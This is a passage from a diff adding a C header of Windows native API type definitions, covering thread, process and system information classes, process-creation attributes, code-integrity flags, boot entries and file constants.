+ ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, + ThreadCounterProfiling, + ThreadIdealProcessorEx, + ThreadCpuAccountingInformation, + ThreadSuspendCount, + ThreadHeterogeneousCpuPolicy, + ThreadContainerId, + ThreadNameInformation, + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, + ThreadActualGroupAffinity, + ThreadDynamicCodePolicyInfo, + ThreadExplicitCaseSensitivity, + ThreadWorkOnBehalfTicket, + ThreadSubsystemInformation, + ThreadDbgkWerReportActive, + ThreadAttachContainer, + ThreadManageWritesToExecutableMemory, + ThreadPowerThrottlingState, + ThreadWorkloadClass, + MaxThreadInfoClass +} THREADINFOCLASS; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; + +typedef struct _THREAD_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID TebBaseAddress; + CLIENT_ID ClientId; + ULONG_PTR AffinityMask; + KPRIORITY Priority; + LONG BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG IsSecureProcess : 1; + ULONG IsSubsystemProcess : 1; + ULONG SpareBits : 23; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO { + HANDLE HandleValue; + ULONG_PTR HandleCount; + ULONG_PTR PointerCount; + ULONG GrantedAccess; + ULONG ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} PROCESS_HANDLE_TABLE_ENTRY_INFO, *PPROCESS_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION { + ULONG NumberOfHandles; + ULONG Reserved; + PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} PROCESS_HANDLE_SNAPSHOT_INFORMATION, *PPROCESS_HANDLE_SNAPSHOT_INFORMATION; + +// +// Process/Thread System and User Time +// NtQueryInformationProcess using ProcessTimes +// NtQueryInformationThread using ThreadTimes +// +typedef struct _KERNEL_USER_TIMES { + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES, *PKERNEL_USER_TIMES; + +typedef enum _PS_MITIGATION_OPTION { + PS_MITIGATION_OPTION_NX, + PS_MITIGATION_OPTION_SEHOP, + PS_MITIGATION_OPTION_FORCE_RELOCATE_IMAGES, + PS_MITIGATION_OPTION_HEAP_TERMINATE, + PS_MITIGATION_OPTION_BOTTOM_UP_ASLR, + PS_MITIGATION_OPTION_HIGH_ENTROPY_ASLR, + PS_MITIGATION_OPTION_STRICT_HANDLE_CHECKS, + PS_MITIGATION_OPTION_WIN32K_SYSTEM_CALL_DISABLE, + PS_MITIGATION_OPTION_EXTENSION_POINT_DISABLE, + PS_MITIGATION_OPTION_PROHIBIT_DYNAMIC_CODE, + PS_MITIGATION_OPTION_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_BLOCK_NON_MICROSOFT_BINARIES, + PS_MITIGATION_OPTION_FONT_DISABLE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_REMOTE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_LOW_LABEL, + PS_MITIGATION_OPTION_IMAGE_LOAD_PREFER_SYSTEM32, + PS_MITIGATION_OPTION_RETURN_FLOW_GUARD, + PS_MITIGATION_OPTION_LOADER_INTEGRITY_CONTINUITY, + PS_MITIGATION_OPTION_STRICT_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_RESTRICT_SET_THREAD_CONTEXT, + PS_MITIGATION_OPTION_ROP_STACKPIVOT, + PS_MITIGATION_OPTION_ROP_CALLER_CHECK, + PS_MITIGATION_OPTION_ROP_SIMEXEC, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER_PLUS, + PS_MITIGATION_OPTION_RESTRICT_CHILD_PROCESS_CREATION, + PS_MITIGATION_OPTION_IMPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_MODULE_TAMPERING_PROTECTION, + PS_MITIGATION_OPTION_RESTRICT_INDIRECT_BRANCH_PREDICTION, + PS_MITIGATION_OPTION_SPECULATIVE_STORE_BYPASS_DISABLE, + PS_MITIGATION_OPTION_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY, + PS_MITIGATION_OPTION_CET_SHADOW_STACKS +} PS_MITIGATION_OPTION; + +typedef enum _PS_CREATE_STATE { + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, + PsCreateSuccess, + PsCreateMaximumStates +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO { + SIZE_T Size; + PS_CREATE_STATE State; + union + { + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + }; + }; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + struct + { + HANDLE FileHandle; + } FailSection; + + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + struct + { + HANDLE IFEOKey; + } ExeName; + + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + }; + }; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; +} PS_CREATE_INFO, *PPS_CREATE_INFO; + +typedef struct _PS_ATTRIBUTE { + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST { + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +typedef enum _PS_PROTECTED_TYPE { + PsProtectedTypeNone, + PsProtectedTypeProtectedLight, + PsProtectedTypeProtected, + PsProtectedTypeMax +} PS_PROTECTED_TYPE; + +typedef enum _PS_PROTECTED_SIGNER { + PsProtectedSignerNone, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerWinSystem, + PsProtectedSignerApp, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER; + +typedef struct _PS_PROTECTION { + union + { + UCHAR Level; + struct + { + UCHAR Type : 3; + UCHAR Audit : 1; + UCHAR Signer : 4; + }; + }; +} PS_PROTECTION, *PPS_PROTECTION; + +// begin_rev +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 +#define PS_ATTRIBUTE_INPUT 0x00020000 +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 +// end_rev + +typedef enum _PS_ATTRIBUTE_NUM { + PsAttributeParentProcess, + PsAttributeDebugPort, + PsAttributeToken, + PsAttributeClientId, + PsAttributeTebAddress, + PsAttributeImageName, + PsAttributeImageInfo, + PsAttributeMemoryReserve, + PsAttributePriorityClass, + PsAttributeErrorMode, + PsAttributeStdHandleInfo, + PsAttributeHandleList, + PsAttributeGroupAffinity, + PsAttributePreferredNode, + PsAttributeIdealProcessor, + PsAttributeUmsThread, + PsAttributeMitigationOptions, + PsAttributeProtectionLevel, + PsAttributeSecureProcess, + PsAttributeJobList, + PsAttributeChildProcessPolicy, + PsAttributeAllApplicationPackagesPolicy, + PsAttributeWin32kFilter, + PsAttributeSafeOpenPromptOriginClaim, + PsAttributeBnoIsolation, + PsAttributeDesktopAppPolicy, + PsAttributeChpe, + PsAttributeMax +} PS_ATTRIBUTE_NUM; + +#define PsAttributeValue(Number, Thread, Input, Unknown) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Unknown) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_UMS_THREAD \ + PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_PROTECTION_LEVEL \ + PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_SECURE_PROCESS \ + PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_JOB_LIST \ + PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY \ + PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY \ + PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_WIN32K_FILTER \ + PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_BNO_ISOLATION \ + PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_DESKTOP_APP_POLICY \ + PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE) + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +/* +** Processes END +*/ + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + SystemManufacturingInformation = 157, + SystemEnergyEstimationConfigInformation = 158, + SystemHypervisorDetailInformation = 159, + SystemProcessorCycleStatsInformation = 160, + SystemVmGenerationCountInformation = 161, + SystemTrustedPlatformModuleInformation = 162, + SystemKernelDebuggerFlags = 163, + SystemCodeIntegrityPolicyInformation = 164, + SystemIsolatedUserModeInformation = 165, + SystemHardwareSecurityTestInterfaceResultsInformation = 166, + SystemSingleModuleInformation = 167, + SystemAllowedCpuSetsInformation = 168, + SystemDmaProtectionInformation = 169, + SystemInterruptCpuSetsInformation = 170, + SystemSecureBootPolicyFullInformation = 171, + SystemCodeIntegrityPolicyFullInformation = 172, + SystemAffinitizedInterruptProcessorInformation = 173, + SystemRootSiloInformation = 174, + SystemCpuSetInformation = 175, + SystemCpuSetTagInformation = 176, + SystemWin32WerStartCallout = 177, + SystemSecureKernelProfileInformation = 178, + SystemCodeIntegrityPlatformManifestInformation = 179, + SystemInterruptSteeringInformation = 180, + SystemSupportedProcessorArchitectures = 181, + SystemMemoryUsageInformation = 182, + SystemCodeIntegrityCertificateInformation = 183, + SystemPhysicalMemoryInformation = 184, + SystemControlFlowTransition = 185, + SystemKernelDebuggingAllowed = 186, + SystemActivityModerationExeState = 187, + SystemActivityModerationUserSettings = 188, + SystemCodeIntegrityPoliciesFullInformation = 189, + SystemCodeIntegrityUnlockInformation = 190, + SystemIntegrityQuotaInformation = 191, + SystemFlushInformation = 192, + SystemProcessorIdleMaskInformation = 193, + SystemSecureDumpEncryptionInformation = 194, + SystemWriteConstraintInformation = 195, + SystemKernelVaShadowInformation = 196, + SystemHypervisorSharedPageInformation = 197, + SystemFirmwareBootPerformanceInformation = 198, + SystemCodeIntegrityVerificationInformation = 199, + SystemFirmwarePartitionInformation = 200, + SystemSpeculationControlInformation = 201, + SystemDmaGuardPolicyInformation = 202, + SystemEnclaveLaunchControlInformation = 203, + SystemWorkloadAllowedCpuSetsInformation = 204, + SystemCodeIntegrityUnlockModeInformation = 205, + SystemLeapSecondInformation = 206, + SystemFlags2Information = 207, + SystemSecurityModelInformation = 208, + SystemCodeIntegritySyntheticCacheInformation = 209, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +//msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx +typedef struct _SYSTEM_SPECULATION_CONTROL_INFORMATION { + union { + ULONG Flags; + struct { + ULONG BpbEnabled : 1; + ULONG BpbDisabledSystemPolicy : 1; + ULONG BpbDisabledNoHardwareSupport : 1; + ULONG SpecCtrlEnumerated : 1; + ULONG SpecCmdEnumerated : 1; + ULONG IbrsPresent : 1; + ULONG StibpPresent : 1; + ULONG SmepPresent : 1; + ULONG SpeculativeStoreBypassDisableAvailable : 1; + ULONG SpeculativeStoreBypassDisableSupported : 1; + ULONG SpeculativeStoreBypassDisabledSystemWide : 1; + ULONG SpeculativeStoreBypassDisabledKernel : 1; + ULONG SpeculativeStoreBypassDisableRequired : 1; + ULONG BpbDisabledKernelToUser : 1; + ULONG SpecCtrlRetpolineEnabled : 1; + ULONG SpecCtrlImportOptimizationEnabled : 1; + ULONG EnhancedIbrs : 1; + ULONG HvL1tfStatusAvailable : 1; + ULONG HvL1tfProcessorNotAffected : 1; + ULONG HvL1tfMigitationEnabled : 1; + ULONG HvL1tfMigitationNotEnabled_Hardware : 1; + ULONG HvL1tfMigitationNotEnabled_LoadOption : 1; + ULONG HvL1tfMigitationNotEnabled_CoreScheduler : 1; + ULONG EnhancedIbrsReported : 1; + ULONG MdsHardwareProtected : 1; + ULONG MbClearEnabled : 1; + ULONG MbClearReported : 1; + ULONG Reserved : 5; + } SpeculationControlFlags; + }; +} SYSTEM_SPECULATION_CONTROL_INFORMATION, *PSYSTEM_SPECULATION_CONTROL_INFORMATION; + +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION { + union { + ULONG Flags; + struct { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG KvaShadowRequired : 1; + ULONG KvaShadowRequiredAvailable : 1; + ULONG InvalidPteBit : 6; + ULONG L1DataCacheFlushSupported : 1; + ULONG L1TerminalFaultMitigationPresent : 1; + ULONG Reserved : 18; + } KvaShadowFlags; + }; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION { + ULONG Length; + ULONG CodeIntegrityOptions; +} SYSTEM_CODEINTEGRITY_INFORMATION, *PSYSTEM_CODEINTEGRITY_INFORMATION; + +#define CODEINTEGRITY_OPTION_ENABLED 0x01 +#define CODEINTEGRITY_OPTION_TESTSIGN 0x02 +#define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x04 +#define CODEINTEGRITY_OPTION_UMCI_AUDITMODE_ENABLED 0x08 +#define CODEINTEGRITY_OPTION_UMCI_EXCLUSIONPATHS_ENABLED 0x10 +#define CODEINTEGRITY_OPTION_TEST_BUILD 0x20 +#define CODEINTEGRITY_OPTION_PREPRODUCTION_BUILD 0x40 +#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x80 +#define CODEINTEGRITY_OPTION_FLIGHT_BUILD 0x100 +#define CODEINTEGRITY_OPTION_FLIGHTING_ENABLED 0x200 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_AUDITMODE_ENABLED 0x800 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED 0x1000 +#define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000 + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +typedef struct _SYSTEM_VHD_BOOT_INFORMATION { + BOOLEAN OsDiskIsVhd; + ULONG OsVhdFilePathOffset; + WCHAR OsVhdParentVolume[ANYSIZE_ARRAY]; +} SYSTEM_VHD_BOOT_INFORMATION, *PSYSTEM_VHD_BOOT_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + BOOLEAN SecurityRequired; + BOOLEAN WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION { + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + UNICODE_STRING NameInfo; +} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; + +/* +** Boot Entry START +*/ + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_ENTRY_LIST { + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, *PBOOT_ENTRY_LIST; + +/* +** Boot Entry END +*/ + +/* +** File start +*/ + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 